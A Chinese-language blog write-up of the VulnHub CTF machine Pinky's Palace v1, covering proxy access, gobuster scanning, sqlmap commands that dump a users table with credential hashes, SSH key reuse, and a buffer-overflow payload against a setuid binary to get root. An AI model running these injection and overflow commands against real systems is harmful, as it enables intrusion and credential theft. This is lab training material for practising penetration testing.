大余安全
一个每日分享渗透小技巧的公众号
大家好,这里是 大余安全 的第 30 篇文章,本公众号会每日分享攻防渗透技术给大家。
靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v1,225/
靶机难度:中级(CTF)
靶机发布日期:2018年3月6日
靶机描述:Box信息:使用仅DHCP主机和桥接适配器类型在VirtualBox上进行了测试。
难以获得用户:简单/中级
扎根困难:容易/中级
目标:得到root权限&找到flag.txt
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
我们已经找到了此次CTF目标计算机IP地址:192.168.56.127
nmap扫除开放了8080、31337和64666端口...
访问8080,返回403错误...遇到这种情况通常有两种解释:要么是WAF(Web应用程序防火墙)阻止了,要么是服务器配置完全拒绝了访问...
如果是WAF阻止了,对于现在的环境有些不可能...所以应该是服务器拒绝了访问...
因此估计要绕过http代理才能访问Web服务器...使用31337代理...
curl --proxy http://192.168.56.127:31337 127.0.0.1:8080
这里使用127.0.0.1是因为,通过代理传递http请求时,127.0.0.1指向代理服务器的本地主机(192.168.56.127),而不是我们的计算机...上面验证了可以使用代理去访问...
这边修改浏览器代理为31337....
然后用本地IP去访问8080端口...但是出现的页面没有有效的信息....
这边使用dirb或者gobuster都可以爆破目录...
gobuster -p http://192.168.56.127:31337 -u http://127.0.0.1:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
发现/littlesecrets-main目录...
尝试admin默认账号密码登录跳转到这个界面...用户密码错误...
当访问logs.php时...
存在sql注入,直接用sqlmap扫...
sqlmap --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=3 --proxy http://192.168.56.127:31337 --data="user=admin&pass=admin" --dump
发现用户代理确实可被利用,我再次配置了sqlmap,这次在db中生成表列表...
sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.56.127:31337 --data="user=user&pass=pass&submit=Login" --level=5 --risk=3 --dbms=mysql --tables
sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.56.127:31337 --data="user=user&pass=pass&submit=Login" --level=5 --risk=3 --dbms=mysql --dump users
pinkymanage:d60dffed7cc0d87e1f4a11aa06ca73af
pinkymanage 、3pinkysaf33pinkysaf3
登录...
不允许sudo...
现在有了用户列表信息....注意用户pinky...
查看了下目录...确定了用户pinky的存在...
用户的主目录没有啥内容,限制了很多目录查看...我进入了web目录看...发现了note.txt文件,意思是藏了一个rsa密匙在这儿...进去看看...
发现密匙后,前面介绍是rsa密匙,这边将内容放到本地上试试能登录吗...
不能登录,把解码后的base64在放入文本试试...
二、提权
成功登录....
因为没有密码,无法使用sudo提权...这边查看到adminhelper二进制文件具有root权限...查看下
同时具有setuid和root权限...(ELF)这边尝试下是否可以插入shell...
开始执行它没反应...后来只回复了我一个输入值...怀疑具有缓冲区溢出...我试试python输入看看...
./adminhelper $(python -c "print 'A'*100")
提示分段故障了...证实了存在缓冲区溢出问题...这边需要找出堆栈溢出值...
触发段错误找到了段错误的边界为72....
启动gdb来检查程序...发现spawn函数(这边可以利用spanwn函数进行提权)
我运行了spawn函数...现在我要触发堆栈溢出以重定向程序执行,来覆盖EIP中的返回地址...
gdb --args ./adminhelper $(python -c "print 'A'*72+'B'*6")
这边发现了42,它是“ B”的十六进制值....现在需要重定向执行得想计算出内存地址...
看到目标内存地址是0x00005555555547d0,创建外壳需要注入了5555555547d0,以避免在shellcode中有空字节....在shellcode中,字节顺序相反,因为该体系结构为低端字节序...所以:(xd0x47x55x55x55x55)
很好理解...
./adminhelper $(python -c "print 'A'*72+'xd0x47x55x55x55x55'")
这边利用缓冲区溢出的栈溢出执行了外壳成功...
成功利用shell获取了root权限...由于此靶机都安装了python等工具能直接利用在内部对二进制漏洞制作shell,才顺利的拿到了root和查看到了flag....
加油!!!!
由于我们已经成功得到root权限&找到flag.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
原文始发于微信公众号(大余安全):VulnHub-Pinky's Palace: v1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论